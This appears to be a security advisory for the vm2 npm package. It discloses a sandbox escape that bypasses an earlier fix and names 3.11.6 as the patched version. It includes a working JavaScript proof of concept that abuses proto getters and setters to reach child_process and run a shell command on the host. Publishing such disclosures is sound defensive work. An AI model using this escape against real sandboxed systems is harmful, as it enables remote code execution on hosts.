vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
Published 17 Aug 2026 · Updated 17 Aug 2026
Affected package
- Affected
- <3.11.6
- Fixed in
- 3.11.6
npm install vm2@3.11.6Details
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Is GHSA-cfcw-xp6x-25gj in any of your client repos?
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.